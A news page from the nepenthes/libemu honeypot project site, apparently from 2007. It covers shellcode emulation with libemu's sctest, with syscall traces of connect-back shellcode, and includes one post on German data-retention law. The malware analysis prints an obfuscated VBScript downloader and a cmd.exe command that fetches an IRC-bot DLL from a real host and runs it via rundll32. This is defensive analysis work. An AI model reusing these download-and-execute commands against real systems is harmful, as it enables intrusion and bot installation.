Welcome to the official nepenthes website! Nepenthes is a versatile tool to collect malware. It acts passively by emulating known vulnerabilities and downloading malware trying to exploit these vulnerabilities. Interested? Check our documentation and grab your copy.
This is the list of system calls from the famous linkbot connectback filetransfer shellcode. I only transfer’d some bytes so it does not get too long.
HMODULE LoadLibraryA ( LPCTSTR lpFileName = 0x0012fe90 => = "ws2_32"; ) = 0x71a10000; SOCKET socket ( int af = 2; int type = 1; int protocol = 0; ) = 3; int connect ( SOCKET s = 3; struct sockaddr_in * name = 0x0012fc80 => struct = { short sin_family = 2; unsigned short sin_port = 6460 (port=15385); struct in_addr sin_addr = { unsigned long s_addr = -19321026 (host=62.47.217.254); }; char sin_zero = " "; }; int namelen = 16; ) = 0; int recv ( SOCKET s = 3; char * buf = 0x0012fc90 => none; int len = 512; int flags = 0; ) = 512; HMODULE LoadLibraryA ( LPCTSTR lpFileName = 0x0012fa58 => = "ws2_32"; ) = 0x71a10000; int send ( SOCKET s = 3; const char * buf = 0x0012fc60 => = ".binary." (4 bytes); int len = 4; int flags = 0; ) = 4; HANDLE CreateFile ( LPCTSTR lpFileName = 0x0012fd38 => = "iplf.exe"; DWORD dwDesiredAccess = -1073741824; DWORD dwShareMode = 0; LPSECURITY_ATTRIBUTES lpSecurityAttributes = 0x00000000 => none; DWORD dwCreationDisposition = 1; DWORD dwFlagsAndAttributes = 2; HANDLE hTemplateFile = 0; ) = 134989584; int recv ( SOCKET s = 3; char * buf = 0x0012fa60 => none; int len = 512; int flags = 0; ) = 380; BOOL WriteFile ( HANDLE hFile = 134989584; LPCVOID lpBuffer = 0x0012fa60 => = ".binary." (380 bytes); DWORD nNumberOfBytesToWrite = 380; LPDWORD lpNumberOfBytesWritten = 0x0012fc70 => none; LPOVERLAPPED lpOverlapped = 0x00000000 => none; ) = 1; int recv ( SOCKET s = 3; char * buf = 0x0012fa60 => none; int len = 512; int flags = 0; ) = 0; BOOL CloseHandle ( HANDLE hObject = 134989584; ) = 0; BOOL CreateProcess ( LPCWSTR pszImageName = 0x0012fd38 => = "iplf.exe"; LPCWSTR pszCmdLine = 0x00000000 => = ""; LPSECURITY_ATTRIBUTES psaProcess = 0x00000000 => none; LPSECURITY_ATTRIBUTES psaThread = 0x00000000 => none; BOOL fInheritHandles = 0; DWORD fdwCreate = 0; LPVOID pvEnvironment = 0x00000000 => none; LPWSTR pszCurDir = 0x00000000 => none; struct LPSTARTUPINFOW psiStartInfo = 0x0012fa14 => struct = { DWORD cb = 68; LPTSTR lpReserved = 0; LPTSTR lpDesktop = 0; LPTSTR lpTitle = 0; DWORD dwX = 0; DWORD dwY = 0; DWORD dwXSize = 0; DWORD dwYSize = 0; DWORD dwXCountChars = 0; DWORD dwYCountChars = 0; DWORD dwFillAttribute = 0; DWORD dwFlags = 0; WORD wShowWindow = 0; WORD cbReserved2 = 0; LPBYTE lpReserved2 = 0; HANDLE hStdInput = 0; HANDLE hStdOutput = 0; HANDLE hStdError = 0; }; struct PROCESS_INFORMATION pProcInfo = 0x0052f74c => struct = { HANDLE hProcess = 4711; HANDLE hThread = 4712; DWORD dwProcessId = 4713; DWORD dwThreadId = 4714; }; ) = 1; DWORD WaitForSingleObject ( HANDLE hHandle = 4713; DWORD dwMilliseconds = 256; ) = 0; BOOL CloseHandle ( HANDLE hObject = 134989584; ) = 0; ERROR DeleteFile ( LPCTSTR lpFileName = 0x0012fd38 => none; ) = -1; int closesocket ( SOCKET s = 3; ) = 0; void ExitThread ( DWORD dwExitCode = 4714; ) = 0;
Obviously the shellcode works in the wild, but nevertheless, the shellcode is buggy. After the connection streaming the file got shut down (recv() = 0), the file handle is closed (CloseHandle(134989584)), after executing the file, the file handle gets closed again (CloseHandle(134989584)).
If you fclose() a file twice on linux, the second call will segfault, as the memory access’d for the second fclose() is already free()’d. Therefore we need a nanny, verifying we do not close files twice.
I just added some nanny code to subversion to deal with it in the sctest utility. Now, the shellcode runs fine again in sctest, closing the same handle twice just gives the warning
shellcode tried to close not existing handle (maybe closed it already?)
to the console.
Spent some time on writing a libemu module for nepenthes last months, turned out to be rather difficult as nepenthes is a single threaded program and shellcode emulation is slow and may require creating new processes. Installing software with a broken Makefile ran rm -rf / (yes, as root) on my system, therefore this effort got lost anyway.
honeytrap is more likely to get working shellcode emulation than nepenthes, is multiple processes structure fits exactly the needs.
But even if you do not have to worry about creating (sub)processes, emulating shellcodes is not easy.
Most shellcode is written as fire&forget, if the shellcode works, be glad, if it does not work, do not care about the attacked host.
For example relying on returnvalues from system calls to create arguments on the stack, without verification.
In this case, the shellcode relied on the returnvalue of connect, and used it to create the length parameter for the recv syscall.
HMODULE LoadLibraryA ( LPCTSTR lpFileName = 0x0012fe90 => = "ws2_32"; ) = 0x71a10000; SOCKET socket ( int af = 2; int type = 1; int protocol = 0; ) = 3; int connect ( SOCKET s = 3; struct sockaddr_in * name = 0x0012fc80 => struct = { short sin_family = 2; unsigned short sin_port = 6460 (port=15385); struct in_addr sin_addr = { unsigned long s_addr = removed (host=removed); }; char sin_zero = " "; }; int namelen = 16; ) = -1; int recv ( SOCKET s = 3; char * buf = 0x0012fc90 => none; int len = -64769; int flags = -1; ) = -1;
If the connect failed, recv got called with a negative signed value (-64769) for the buffer size and the flags (-1).
In other cases, shellcode misbehaves, for example it tries to connect the attacker forever - if the host is unreachable.
while ( connect(...) );
Not to mention shellcode is very hard to write and as error prone any other software, but once it works, it gets deployed.
This shellcode wants to connect() to a remotehost, but the namelen parameter is incorrect.
int connect ( SOCKET s = 3; struct sockaddr_in * name = 0x0041728a => struct = { short sin_family = 2; unsigned short sin_port = 7470 (port=11805); struct in_addr sin_addr = { unsigned long s_addr = 1982129222 (host=70.228.36.118); }; char sin_zero = " "; }; int namelen = 4289293; ) = 0;
Looking at the assembly reveals the problem is a typo
lea edx,[ebx+0x17f] mov byte [edx],0x16 push edx ; push namelen lea edx,[ebx+0xfc] mov word [edx],0x2 mov di,[ebx+0x8] mov [edx+0x2],di mov edi,[ebx+0x4] mov [edx+0x4],edi push edx ; push sockaddr * mov eax,[ebx+0xf8] push eax ; push socket call ds:[ebx+0x49] ; call connect(socket, sockaddr *, namelen)
As only the namelen is wrong, we can focus on the first lines.
mov byte [edx],0x16 push edx ; push namelen
This code stores 0×16 at memory address [edx], and pushes the memory address on the stack, instead of the value 0×16, which would be the appropriate value for namelen on win32.
Unfortunately this code works, at least on windows, else the worm (in this case the shellcode is csend from agobot) would not have had that impact and media attention in the past. If you emulate it on linux, you have to sanatize the namelen argument.
Another point is, if we emulate code, we allow others to execute code on our boxes in a sandbox environment.
Even though SQLSlammer has shown it is possible to write viral shellcode, current shellcode only helps getting access to a machine for further actions, shellcode (tcp)scanning for vulnerable hosts exploiting them is possible and therefore we have to think about it.
One approach is profile the shellcode, execute it in a close sandbox, without proxying the syscalls to the host operating system, create a graph of the syscalls, measure the graph afterwards, guessing what the shellcode might want to do.
This simple finite-state graphs and a path matching scheme to determine the behavior of them shellcode approach is outlined in ShellShock: Capturing Multi-Stage Attacks in Virtual Honeypots by Ryan Smith, Adam Prigden, Braxton Thomason, Vitaly Shmatikov, but the paper is not public available.
One drawback with this approch is shellcode with more than one stage, as we can not profile the second stage, as the shellcode did not receive it in its closed sandbox.
So, whats left?
Current idea is implementing a nanny for shellcode to make sure it behaves during interactive emulation, we’ll see if it works out.
Grab your copy from Sourceforge.
As a variety from usual news, today: german politics.
On friday the 9th November 2007 the german goverment will decide about new laws to protect the civilians from terror attacks. The new laws include:
for six months
In short, all communication signatures get stored for half a year, because everybody is a suspect, a potential terrorist, the goverment has to keep track of.
As usual, once the data is available, we are talking about 40 petabytes for only one major provider, there will be requests to use it, it is expensive to record, so better use it somehow if you fail catching terrorists.
The Intellectual Property Economy would definitely love accessing the database, allowing them to sue software pirates in realtime.
You could get a call you have to pay some thousand for copyright infringement even before the damn mp3 finished.
Marketing, 100% transparent customers, the more you know about the stingy customers, the better you can promote your products.
Improve press, remove whistelblowers, you got their communication signature in your records.
Going to prison for controversy opinions gets possible again.
This surveillance act suspects every civilian of being terrorist, to protect the democracy.
Whats left of a democracy if it starts monitoring the whole population?
Even though there was no successful act of terrorism in germany during the last 20 years, terrorism won, the democracy lost when removing its cornerstone to protect itself of terrorism.
On the other hand, there is still no public available data which congressman is paid as a lobbyist, and congressman are on the exception list for all surveillance actions. It’s somehow part of human nature to proof power corrupts once you have it.
Click this link to enter the libemu homepage, download your copy, and enjoy the first open source shellcode detection engine using emulation.
It has been a lot of work, it took a lot of time and it is not complete yet, libemu based detection modules for honeytrap, nepenthes and snort are still todo.
In the meantime you can enjoy the great shellcode detection commandline utility sctest to detect and profile shellcodes in suspicious dumps and create graphs of it.
The Internet Stormcenter recently published a call for packets and asked for a shellcode analysis. We received the dump from the incidents handler William Salusky and here is the libemu result:
The shellcode spawns a command prompt and connects this shell to 219.150.93.35 10000.
The server sends
cd wins & ECHO SEt P=cREAtEOBjEct("micROSOFt.xmL"^&X^&"http"):P.OpEn "gEt",wScRipt.ARgUmEntS(0),0:P.SEnd():SEt S=cREAtEOBjEct("AdOdB.S"^&X^&"tREAm"):S.mOdE=3:S.tYpE=1:S.OpEn():S.wRitE(P.RESpOnSEBOdY):S.SAvEtOFiLE wScRipt.ARgUmEntS(1),2 >lite.vbe
cmd.exe /c "cscript.exe lite.vbe http://61.129.112.73/images/menu/dnz.dll dnz.dll & rundll32 dnz.dll,ShellMain"
which gets executed by the attacked client. Removing the obfuscation, a file is downloaded from 61.129.112.73/images/menu/dnz.dll and stored as dnz.dll, which gets started by rundll32.
The file is an irc bot with very bad detection rates as of the virustotal run yesterday evening:
File dnz.dll received on 08.23.2007 21:05:21 (CET) Result: 4/32 (12.5%)
| Antivirus | Version | Last Update | Result |
|---|---|---|---|
| AhnLab-V3 | 2007.8.22.0 | 2007.08.23 | - |
| AntiVir | 7.4.1.63 | 2007.08.23 | - |
| Authentium | 4.93.8 | 2007.08.23 | - |
| Avast | 4.7.1029.0 | 2007.08.23 | - |
| AVG | 7.5.0.484 | 2007.08.23 | BackDoor.Ircbot.BAO |
| BitDefender | 7.2 | 2007.08.23 | - |
| CAT-QuickHeal | 9.00 | 2007.08.23 | - |
| ClamAV | 0.91 | 2007.08.23 | - |
| DrWeb | 4.33 | 2007.08.23 | - |
| eSafe | 7.0.15.0 | 2007.08.23 | - |
| eTrust-Vet | 31.1.5082 | 2007.08.23 | - |
| Ewido | 4.0 | 2007.08.23 | - |
| FileAdvisor | 1 | 2007.08.23 | - |
| Fortinet | 2.91.0.0 | 2007.08.23 | - |
| F-Prot | 4.3.2.48 | 2007.08.23 | - |
| F-Secure | 6.70.13030.0 | 2007.08.23 | - |
| Ikarus T | 3.1.1.12 | 2007.08.23 | - |
| Kaspersky | 4.0.2.24 | 2007.08.23 | - |
| McAfee | 5104 | 2007.08.23 | - |
| Microsoft | 1.2803 | 2007.08.23 | - |
| NOD32v2 | 2480 | 2007.08.23 | probably a variant of Win32/IRCBot |
| Norman | 5.80.02 | 2007.08.23 | - |
| Panda | 9.0.0.4 | 2007.08.23 | - |
| Prevx1 | V2 | 2007.08.23 | - |
| Rising | 19.37.32.00 | 2007.08.23 | - |
| Sophos | 4.20.0 | 2007.08.23 | - |
| Sunbelt | 2.2.907.0 | 2007.08.23 | - |
| Symantec | 10 | 2007.08.23 | - |
| TheHacker | 6.1.8.172 | 2007.08.23 | - |
| VBA32 | 3.12.2.3 | 2007.08.23 | suspected of Backdoor.xBot.3 |
| VirusBuster | 4.3.26:9 | 2007.08.23 | - |
| Webwasher-Gateway | 6.0.1 | 2007.08.23 | Win32.Malware.gen!92 (suspicious) |
Additional information File size: 24064 bytes MD5: 60cad46ccc51fefbadd1d0874c1c26d2 SHA1: 1db02d6916122cc3065b86786c2a25a5eebd1af3
Apply patches in time, always.
For the completeness, here are the details
cat session_8016.5168.raw2 | /opt/libemu/bin/sctest -S -g -s 100000000
-G dox.dot
graph file dox.dot
success
Hook me Captain Cook!
environment/win32/emu_env_w32_dll_export_kernel32_hooks.c:661
emu_env_w32_hook_LoadLibrayA
Hook me Captain Cook!
environment/win32/emu_env_w32_dll_export_ws2_32_hooks.c:517
emu_env_w32_hook_WSAStartup
WSAStartup version 2
Hook me Captain Cook!
environment/win32/emu_env_w32_dll_export_ws2_32_hooks.c:461
emu_env_w32_hook_WSASocketA
SOCKET WSASocket(af=2, type=1, protocol=0, lpProtocolInfo=0, group=0,
dwFlags=0);
socket 3
Hook me Captain Cook!
environment/win32/emu_env_w32_dll_export_ws2_32_hooks.c:182
emu_env_w32_hook_connect
host 219.150.93.35 port 10000
Hook me Captain Cook!
environment/win32/emu_env_w32_dll_export_kernel32_hooks.c:134
emu_env_w32_hook_CreateProcessA
CreateProcessA
CreateProcess(pszImageName=0, pszCmdLine=22cc80, psaProcess=0,
psaThread=0, fInheritHandles=1, fdwCreate=0, pvEnvironment=0,
pszCurDir=0, psiStartInfo=22cc2c, pProcInfo=22cc70)
PROCESS_INFORMATION
{
HANDLE hProcess=4711;
HANDLE hThread=4712;
DWORD dwProcessId=4713;
DWORD dwThreadId=4714;
}
STARTUPINFO {
DWORD cb=68;
LPTSTR lpReserved=0x00000000;
LPTSTR lpDesktop=0x00000000;
LPTSTR lpTitle=0x00000000;
DWORD dwX=0;
DWORD dwY=0;
DWORD dwXSize=0;
DWORD dwYSize=0;
DWORD dwXCountChars=0;
DWORD dwYCountChars=0;
DWORD dwFillAttribute=0;
DWORD dwFlags=257;
WORD wShowWindow=0;
WORD cbReserved2=0;
LPBYTE lpReserved2=0x080;
HANDLE hStdInput=3;
HANDLE hStdOutput=3;
HANDLE hStdError=3;
}
Hook me Captain Cook!
environment/win32/emu_env_w32_dll_export_kernel32_hooks.c:815
emu_env_w32_hook_WaitForSingleObject
WaitForSingleObject(hHandle=17920, dwMilliseconds=-1)
Hook me Captain Cook!
environment/win32/emu_env_w32_dll_export_ws2_32_hooks.c:152
emu_env_w32_hook_closesocket
Hook me Captain Cook!
environment/win32/emu_env_w32_dll_export_kernel32_hooks.c:789
emu_env_w32_hook_SetUnhandledExceptionFilter
Exception filter 7c800000
cpu error error accessing 0x7c81cdc7 not mapped
Older news can be found in the news archive.